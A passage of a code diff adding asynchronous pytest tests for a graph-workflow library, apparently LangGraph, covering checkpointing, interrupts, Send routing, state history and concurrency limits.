{"thread_id": "1"}} + assert [ + c async for c in graph.astream({"a": "0"}, thread1, durability=durability) + ] == [ + {"foo": {"a": "0foo", "b": "bar"}}, + {"bar": {"a": "0foobar", "c": "bark"}}, + {"baz": {"a": "0foobarbaz", "c": "something else"}}, + {"graph": {"a": "0foobarbaz", "c": "something else"}}, + ] + + +@NEEDS_CONTEXTVARS +async def test_imp_stream_order( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + @task() + async def foo(state: dict) -> dict: + return {"a": state["a"] + "foo", "b": "bar"} + + @task + async def bar(a: str, b: str, c: str | None = None) -> dict: + return {"a": a + b, "c": (c or "") + "bark"} + + @task() + async def baz(state: dict) -> dict: + return {"a": state["a"] + "baz", "c": "something else"} + + @entrypoint(checkpointer=async_checkpointer) + async def graph(state: dict) -> dict: + foo_res = await foo(state) + + fut_bar = bar(foo_res["a"], foo_res["b"]) + fut_baz = baz(await fut_bar) + return await fut_baz + + thread1 = {"configurable": {"thread_id": "1"}} + assert [ + c async for c in graph.astream({"a": "0"}, thread1, durability=durability) + ] == [ + {"foo": {"a": "0foo", "b": "bar"}}, + {"bar": {"a": "0foobar", "c": "bark"}}, + {"baz": {"a": "0foobarbaz", "c": "something else"}}, + {"graph": {"a": "0foobarbaz", "c": "something else"}}, + ] + + +@pytest.mark.skipif( + sys.version_info < (3, 11), + reason="Requires Python 3.11 or higher for context management", +) +async def test_send_dedupe_on_resume( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InterruptOnce: + ticks: int = 0 + + def __call__(self, state): + self.ticks += 1 + if self.ticks == 1: + interrupt("Bahh") + return ["|".join(("flaky", str(state)))] + + class Node: + def __init__(self, name: str): + self.name = name + self.ticks = 0 + setattr(self, "__name__", name) + + def __call__(self, state): + self.ticks += 1 + update = ( + [self.name] + if isinstance(state, list) + else ["|".join((self.name, str(state)))] + ) + if isinstance(state, Command): + return replace(state, update=update) + else: + return update + + def send_for_fun(state): + return [ + Send("2", Command(goto=Send("2", 3))), + Send("2", Command(goto=Send("flaky", 4))), + "3.1", + ] + + def route_to_three(state) -> Literal["3"]: + return "3" + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node(Node("1")) + builder.add_node(Node("2")) + builder.add_node(Node("3")) + builder.add_node(Node("3.1")) + builder.add_node("flaky", InterruptOnce()) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_for_fun) + builder.add_conditional_edges("2", route_to_three) + + graph = builder.compile(checkpointer=async_checkpointer) + thread1 = {"configurable": {"thread_id": "1"}} + assert await graph.ainvoke(["0"], thread1, durability=durability) == { + "__interrupt__": [ + Interrupt( + value="Bahh", + id=AnyStr(), + ), + ], + } + assert builder.nodes["2"].runnable.func.ticks == 3 + assert builder.nodes["flaky"].runnable.func.ticks == 1 + # resume execution + assert await graph.ainvoke(None, thread1, durability=durability) == [ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + "3", + ] + # node "2" doesn't get called again, as we recover writes saved before + assert builder.nodes["2"].runnable.func.ticks == 3 + # node "flaky" gets called again, as it was interrupted + assert builder.nodes["flaky"].runnable.func.ticks == 2 + # check history + history = [c async for c in graph.aget_state_history(thread1)] + assert len(history) == (6 if durability != "exit" else 2) + expected_history = [ + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + "3", + ], + next=(), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 4, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=(), + interrupts=(), + ), + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + "3", + "2|3", + "flaky|4", + ], + next=("3",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 3, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="3", + path=("__pregel_pull", "3"), + error=None, + interrupts=(), + state=None, + result=["3"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=[ + "0", + "1", + "3.1", + "2|Command(goto=Send(node='2', arg=3))", + "2|Command(goto=Send(node='flaky', arg=4))", + ], + next=("2", "flaky", "3"), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 2, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=["2|3"], + ), + PregelTask( + id=AnyStr(), + name="flaky", + path=("__pregel_push", 1, False), + error=None, + interrupts=(Interrupt(value="Bahh", id=AnyStr()),), + state=None, + result=["flaky|4"] if durability != "exit" else None, + ), + PregelTask( + id=AnyStr(), + name="3", + path=("__pregel_pull", "3"), + error=None, + interrupts=(), + state=None, + result=["3"], + ), + ), + interrupts=(Interrupt(value="Bahh", id=AnyStr()),), + ), + StateSnapshot( + values=["0", "1"], + next=("2", "2", "3.1"), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=["2|Command(goto=Send(node='2', arg=3))"], + ), + PregelTask( + id=AnyStr(), + name="2", + path=("__pregel_push", 1, False), + error=None, + interrupts=(), + state=None, + result=["2|Command(goto=Send(node='flaky', arg=4))"], + ), + PregelTask( + id=AnyStr(), + name="3.1", + path=("__pregel_pull", "3.1"), + error=None, + interrupts=(), + state=None, + result=["3.1"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=["0"], + next=("1",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "loop", + "step": 0, + "parents": {}, + }, + created_at=AnyStr(), + parent_config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + tasks=( + PregelTask( + id=AnyStr(), + name="1", + path=("__pregel_pull", "1"), + error=None, + interrupts=(), + state=None, + result=["1"], + ), + ), + interrupts=(), + ), + StateSnapshot( + values=[], + next=("__start__",), + config={ + "configurable": { + "thread_id": "1", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "source": "input", + "step": -1, + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="__start__", + path=("__pregel_pull", "__start__"), + error=None, + interrupts=(), + state=None, + result=["0"], + ), + ), + interrupts=(), + ), + ] + if durability != "exit": + assert history == expected_history + else: + assert history[0] == expected_history[0]._replace( + parent_config=history[1].config + ) + assert history[1] == expected_history[2]._replace(parent_config=None) + + +async def test_send_react_interrupt(async_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.messages import AIMessage, HumanMessage, ToolCall, ToolMessage + + ai_message = AIMessage( + "", + id="ai1", + tool_calls=[ToolCall(name="foo", args={"hi": [1, 2, 3]}, id=AnyStr())], + ) + + async def agent(state): + return {"messages": ai_message} + + def route(state): + if isinstance(state["messages"][-1], AIMessage): + return [ + Send(call["name"], call) for call in state["messages"][-1].tool_calls + ] + + foo_called = 0 + + async def foo(call: ToolCall): + nonlocal foo_called + foo_called += 1 + return {"messages": ToolMessage(str(call["args"]), tool_call_id=call["id"])} + + builder = StateGraph(MessagesState) + builder.add_node(agent) + builder.add_node(foo) + builder.add_edge(START, "agent") + builder.add_conditional_edges("agent", route) + graph = builder.compile() + + assert await graph.ainvoke({"messages": [HumanMessage("hello")]}) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # simple interrupt-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "1"}} + assert await graph.ainvoke({"messages": [HumanMessage("hello")]}, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + assert await graph.ainvoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # interrupt-update-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "2"}} + assert await graph.ainvoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = await graph.aget_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + interrupts=(), + ) + + # remove the tool call, clearing the pending task + await graph.aupdate_state( + thread1, {"messages": AIMessage("Bye now", id=ai_message.id, tool_calls=[])} + ) + + # tool call no longer in pending tasks + assert await graph.aget_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="Bye now", + tool_calls=[], + ), + ] + }, + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + tasks=(), + interrupts=(), + ) + + # tool call not executed + assert await graph.ainvoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage(content="Bye now"), + ] + } + assert foo_called == 0 + + # interrupt-update-resume flow, creating new Send in update call + foo_called = 0 + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "3"}} + assert await graph.ainvoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = await graph.aget_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + interrupts=(), + ) + + # replace the tool call, should clear previous send, create new one + await graph.aupdate_state( + thread1, + { + "messages": AIMessage( + "", + id=ai_message.id, + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ) + }, + ) + + # prev tool call no longer in pending tasks, new tool call is + assert await graph.aget_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "3", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + interrupts=(), + ) + + # prev tool call not executed, new tool call is + assert await graph.ainvoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + AIMessage( + "", + id="ai1", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [4, 5, 6]}, + "id": "tool1", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage(content="{'hi': [4, 5, 6]}", tool_call_id="tool1"), + ] + } + assert foo_called == 1 + + +async def test_send_react_interrupt_control( + async_checkpointer: BaseCheckpointSaver, snapshot: SnapshotAssertion +) -> None: + from langchain_core.messages import AIMessage, HumanMessage, ToolCall, ToolMessage + + ai_message = AIMessage( + "", + id="ai1", + tool_calls=[ToolCall(name="foo", args={"hi": [1, 2, 3]}, id=AnyStr())], + ) + + async def agent(state) -> Command[Literal["foo"]]: + return Command( + update={"messages": ai_message}, + goto=[Send(call["name"], call) for call in ai_message.tool_calls], + ) + + foo_called = 0 + + async def foo(call: ToolCall): + nonlocal foo_called + foo_called += 1 + return {"messages": ToolMessage(str(call["args"]), tool_call_id=call["id"])} + + builder = StateGraph(MessagesState) + builder.add_node(agent) + builder.add_node(foo) + builder.add_edge(START, "agent") + graph = builder.compile() + if isinstance(async_checkpointer, InMemorySaver): + assert graph.get_graph().draw_mermaid() == snapshot + + assert await graph.ainvoke({"messages": [HumanMessage("hello")]}) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # simple interrupt-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "1"}} + assert await graph.ainvoke({"messages": [HumanMessage("hello")]}, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + assert await graph.ainvoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="{'hi': [1, 2, 3]}", + tool_call_id=AnyStr(), + ), + ] + } + assert foo_called == 1 + + # interrupt-update-resume flow + foo_called = 0 + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["foo"]) + thread1 = {"configurable": {"thread_id": "2"}} + assert await graph.ainvoke( + {"messages": [HumanMessage("hello")]}, thread1, durability="exit" + ) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + } + assert foo_called == 0 + + # get state should show the pending task + state = await graph.aget_state(thread1) + assert state == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "foo", + "args": {"hi": [1, 2, 3]}, + "id": "", + "type": "tool_call", + } + ], + ), + ] + }, + next=("foo",), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 1, + "source": "loop", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=None, + tasks=( + PregelTask( + id=AnyStr(), + name="foo", + path=("__pregel_push", 0, False), + error=None, + interrupts=(), + state=None, + result=None, + ), + ), + interrupts=(), + ) + + # remove the tool call, clearing the pending task + await graph.aupdate_state( + thread1, {"messages": AIMessage("Bye now", id=ai_message.id, tool_calls=[])} + ) + + # tool call no longer in pending tasks + assert await graph.aget_state(thread1) == StateSnapshot( + values={ + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage( + content="Bye now", + tool_calls=[], + ), + ] + }, + next=(), + config={ + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + }, + metadata={ + "step": 2, + "source": "update", + "parents": {}, + }, + created_at=AnyStr(), + parent_config=( + { + "configurable": { + "thread_id": "2", + "checkpoint_ns": "", + "checkpoint_id": AnyStr(), + } + } + ), + tasks=(), + interrupts=(), + ) + + # tool call not executed + assert await graph.ainvoke(None, thread1) == { + "messages": [ + _AnyIdHumanMessage(content="hello"), + _AnyIdAIMessage(content="Bye now"), + ] + } + assert foo_called == 0 + + +async def test_max_concurrency(async_checkpointer: BaseCheckpointSaver) -> None: + class Node: + def __init__(self, name: str): + self.name = name + setattr(self, "__name__", name) + self.currently = 0 + self.max_currently = 0 + + async def __call__(self, state): + self.currently += 1 + if self.currently > self.max_currently: + self.max_currently = self.currently + await asyncio.sleep(random.random() / 10) + self.currently -= 1 + return [state] + + def one(state): + return ["1"] + + def three(state): + return ["3"] + + async def send_to_many(state): + return [Send("2", idx) for idx in range(100)] + + async def route_to_three(state) -> Literal["3"]: + return "3" + + node2 = Node("2") + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node("1", one) + builder.add_node(node2) + builder.add_node("3", three) + builder.add_edge(START, "1") + builder.add_conditional_edges("1", send_to_many) + builder.add_conditional_edges("2", route_to_three) + graph = builder.compile() + + assert await graph.ainvoke(["0"]) == ["0", "1", *range(100), "3"] + assert node2.max_currently == 100 + assert node2.currently == 0 + node2.max_currently = 0 + + assert await graph.ainvoke(["0"], {"max_concurrency": 10}) == [ + "0", + "1", + *range(100), + "3", + ] + assert node2.max_currently == 10 + assert node2.currently == 0 + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["2"]) + thread1 = {"max_concurrency": 10, "configurable": {"thread_id": "1"}} + + assert await graph.ainvoke(["0"], thread1, debug=True) == ["0", "1"] + state = await graph.aget_state(thread1) + assert state.values == ["0", "1"] + assert await graph.ainvoke(None, thread1) == ["0", "1", *range(100), "3"] + + +async def test_max_concurrency_control(async_checkpointer: BaseCheckpointSaver) -> None: + async def node1(state) -> Command[Literal["2"]]: + return Command(update=["1"], goto=[Send("2", idx) for idx in range(100)]) + + node2_currently = 0 + node2_max_currently = 0 + + async def node2(state) -> Command[Literal["3"]]: + nonlocal node2_currently, node2_max_currently + node2_currently += 1 + if node2_currently > node2_max_currently: + node2_max_currently = node2_currently + await asyncio.sleep(0.1) + node2_currently -= 1 + + return Command(update=[state], goto="3") + + async def node3(state) -> Literal["3"]: + return ["3"] + + builder = StateGraph(Annotated[list, operator.add]) + builder.add_node("1", node1) + builder.add_node("2", node2) + builder.add_node("3", node3) + builder.add_edge(START, "1") + graph = builder.compile() + + if isinstance(async_checkpointer, InMemorySaver): + assert ( + graph.get_graph().draw_mermaid() + == """--- +config: + flowchart: + curve: linear +--- +graph TD; + __start__([

__start__

]):::first + 1(1) + 2(2) + 3(3) + __end__([

__end__

]):::last + 1 -.-> 2; + 2 -.-> 3; + __start__ --> 1; + 3 --> __end__; + classDef default fill:#f2f0ff,line-height:1.2 + classDef first fill-opacity:0 + classDef last fill:#bfb6fc +""" + ) + + assert await graph.ainvoke(["0"], debug=True) == ["0", "1", *range(100), "3"] + assert node2_max_currently == 100 + assert node2_currently == 0 + node2_max_currently = 0 + + assert await graph.ainvoke(["0"], {"max_concurrency": 10}) == [ + "0", + "1", + *range(100), + "3", + ] + assert node2_max_currently == 10 + assert node2_currently == 0 + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["2"]) + thread1 = {"max_concurrency": 10, "configurable": {"thread_id": "1"}} + + assert await graph.ainvoke(["0"], thread1) == ["0", "1"] + assert await graph.ainvoke(None, thread1) == ["0", "1", *range(100), "3"] + + +async def test_invoke_checkpoint_three( + mocker: MockerFixture, async_checkpointer: BaseCheckpointSaver +) -> None: + add_one = mocker.Mock(side_effect=lambda x: x["total"] + x["input"]) + + def raise_if_above_10(input: int) -> int: + if input > 10: + raise ValueError("Input is too large") + return input + + one = ( + NodeBuilder() + .subscribe_to("input") + .read_from("total") + .do(add_one) + .write_to("output", "total") + .do(raise_if_above_10) + ) + + app = Pregel( + nodes={"one": one}, + channels={ + "total": BinaryOperatorAggregate(int, operator.add), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + checkpointer=async_checkpointer, + debug=True, + ) + + thread_1 = {"configurable": {"thread_id": "1"}} + # total starts out as 0, so output is 0+2=2 + assert await app.ainvoke(2, thread_1, durability="async") == 2 + state = await app.aget_state(thread_1) + assert state is not None + assert state.values.get("total") == 2 + assert ( + state.config["configurable"]["checkpoint_id"] + == (await async_checkpointer.aget(thread_1))["id"] + ) + # total is now 2, so output is 2+3=5 + assert await app.ainvoke(3, thread_1, durability="async") == 5 + state = await app.aget_state(thread_1) + assert state is not None + assert state.values.get("total") == 7 + assert ( + state.config["configurable"]["checkpoint_id"] + == (await async_checkpointer.aget(thread_1))["id"] + ) + # total is now 2+5=7, so output would be 7+4=11, but raises ValueError + with pytest.raises(ValueError): + await app.ainvoke(4, thread_1, durability="async") + # checkpoint is not updated + state = await app.aget_state(thread_1) + assert state is not None + assert state.values.get("total") == 7 + assert state.next == ("one",) + """we checkpoint inputs and it failed on "one", so the next node is one""" + # we can recover from error by sending new inputs + assert await app.ainvoke(2, thread_1, durability="async") == 9 + state = await app.aget_state(thread_1) + assert state is not None + assert state.values.get("total") == 16, "total is now 7+9=16" + assert state.next == () + + thread_2 = {"configurable": {"thread_id": "2"}} + # on a new thread, total starts out as 0, so output is 0+5=5 + assert await app.ainvoke(5, thread_2) == 5 + state = await app.aget_state(thread_1) + assert state is not None + assert state.values.get("total") == 16 + assert state.next == () + state = await app.aget_state(thread_2) + assert state is not None + assert state.values.get("total") == 5 + assert state.next == () + + assert len([c async for c in app.aget_state_history(thread_1, limit=1)]) == 1 + # list all checkpoints for thread 1 + thread_1_history = [c async for c in app.aget_state_history(thread_1)] + # there are 7 checkpoints + assert len(thread_1_history) == 7 + assert Counter(c.metadata["source"] for c in thread_1_history) == { + "input": 4, + "loop": 3, + } + # sorted descending + assert ( + thread_1_history[0].config["configurable"]["checkpoint_id"] + > thread_1_history[1].config["configurable"]["checkpoint_id"] + ) + # cursor pagination + cursored = [ + c + async for c in app.aget_state_history( + thread_1, limit=1, before=thread_1_history[0].config + ) + ] + assert len(cursored) == 1 + assert cursored[0].config == thread_1_history[1].config + # the last checkpoint + assert thread_1_history[0].values["total"] == 16 + # the first "loop" checkpoint + assert thread_1_history[-2].values["total"] == 2 + # can get each checkpoint using aget with config + assert (await async_checkpointer.aget(thread_1_history[0].config))[ + "id" + ] == thread_1_history[0].config["configurable"]["checkpoint_id"] + assert (await async_checkpointer.aget(thread_1_history[1].config))[ + "id" + ] == thread_1_history[1].config["configurable"]["checkpoint_id"] + + thread_1_next_config = await app.aupdate_state(thread_1_history[1].config, 10) + # update creates a new checkpoint + assert ( + thread_1_next_config["configurable"]["checkpoint_id"] + > thread_1_history[0].config["configurable"]["checkpoint_id"] + ) + # 1 more checkpoint in history + assert len([c async for c in app.aget_state_history(thread_1)]) == 8 + assert Counter( + [c.metadata["source"] async for c in app.aget_state_history(thread_1)] + ) == { + "update": 1, + "input": 4, + "loop": 3, + } + # the latest checkpoint is the updated one + assert await app.aget_state(thread_1) == await app.aget_state(thread_1_next_config) + + +async def test_invoke_two_processes_two_in_join_two_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + add_10_each = mocker.Mock(side_effect=lambda x: sorted(y + 10 for y in x)) + + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + chain_three = NodeBuilder().subscribe_only("input").do(add_one).write_to("inbox") + chain_four = ( + NodeBuilder().subscribe_only("inbox").do(add_10_each).write_to("output") + ) + + app = Pregel( + nodes={ + "one": one, + "chain_three": chain_three, + "chain_four": chain_four, + }, + channels={ + "inbox": Topic(int), + "output": LastValue(int), + "input": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + # Then invoke app + # We get a single array result as chain_four waits for all publishers to finish + # before operating on all elements published to topic_two as an array + for _ in range(100): + assert await app.ainvoke(2) == [13, 13] + + assert await asyncio.gather(*(app.ainvoke(2) for _ in range(100))) == [ + [13, 13] for _ in range(100) + ] + + +async def test_invoke_two_processes_one_in_two_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + + one = ( + NodeBuilder().subscribe_only("input").do(add_one).write_to("output", "between") + ) + two = NodeBuilder().subscribe_only("between").do(add_one).write_to("output") + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "between": LastValue(int), + "output": LastValue(int), + }, + stream_channels=["output", "between"], + input_channels="input", + output_channels="output", + ) + + # Then invoke pubsub + assert [c async for c in app.astream(2)] == [ + {"between": 3, "output": 3}, + {"between": 3, "output": 4}, + ] + + +async def test_invoke_two_processes_no_out(mocker: MockerFixture) -> None: + add_one = mocker.Mock(side_effect=lambda x: x + 1) + one = NodeBuilder().subscribe_only("input").do(add_one).write_to("between") + two = NodeBuilder().subscribe_only("between").do(add_one) + + app = Pregel( + nodes={"one": one, "two": two}, + channels={ + "input": LastValue(int), + "between": LastValue(int), + "output": LastValue(int), + }, + input_channels="input", + output_channels="output", + ) + + # It finishes executing (once no more messages being published) + # but returns nothing, as nothing was published to "output" topic + assert await app.ainvoke(2) is None + + +async def test_conditional_entrypoint_graph_state() -> None: + class AgentState(TypedDict, total=False): + input: str + output: str + steps: Annotated[list[str], operator.add] + + async def left(data: AgentState) -> AgentState: + return {"output": data["input"] + "->left"} + + async def right(data: AgentState) -> AgentState: + return {"output": data["input"] + "->right"} + + def should_start(data: AgentState) -> str: + assert data["steps"] == [], "Expected input to be read from the state" + # Logic to decide where to start + if len(data["input"]) > 10: + return "go-right" + else: + return "go-left" + + # Define a new graph + workflow = StateGraph(AgentState) + + workflow.add_node("left", left) + workflow.add_node("right", right) + + workflow.set_conditional_entry_point( + should_start, {"go-left": "left", "go-right": "right"} + ) + + workflow.add_conditional_edges("left", lambda data: END) + workflow.add_edge("right", END) + + app = workflow.compile() + + assert await app.ainvoke({"input": "what is weather in sf"}) == { + "input": "what is weather in sf", + "output": "what is weather in sf->right", + "steps": [], + } + + assert [c async for c in app.astream({"input": "what is weather in sf"})] == [ + {"right": {"output": "what is weather in sf->right"}}, + ] + + +async def test_in_one_fan_out_state_graph_waiting_edge( + async_checkpointer: BaseCheckpointSaver, +) -> None: + def sorted_add(x: list[str], y: list[str] | list[tuple[str, str]]) -> list[str]: + if isinstance(y[0], tuple): + for rem, _ in y: + x.remove(rem) + y = [t[1] for t in y] + return sorted(operator.add(x, y)) + + class State(TypedDict, total=False): + query: str + answer: str + docs: Annotated[list[str], sorted_add] + + async def rewrite_query(data: State) -> State: + return {"query": f"query: {data['query']}"} + + async def analyzer_one(data: State) -> State: + return {"query": f"analyzed: {data['query']}"} + + async def retriever_one(data: State) -> State: + return {"docs": ["doc1", "doc2"]} + + async def retriever_two(data: State) -> State: + await asyncio.sleep(0.1) + return {"docs": ["doc3", "doc4"]} + + async def qa(data: State) -> State: + return {"answer": ",".join(data["docs"])} + + workflow = StateGraph(State) + + workflow.add_node("rewrite_query", rewrite_query) + workflow.add_node("analyzer_one", analyzer_one) + workflow.add_node("retriever_one", retriever_one) + workflow.add_node("retriever_two", retriever_two) + 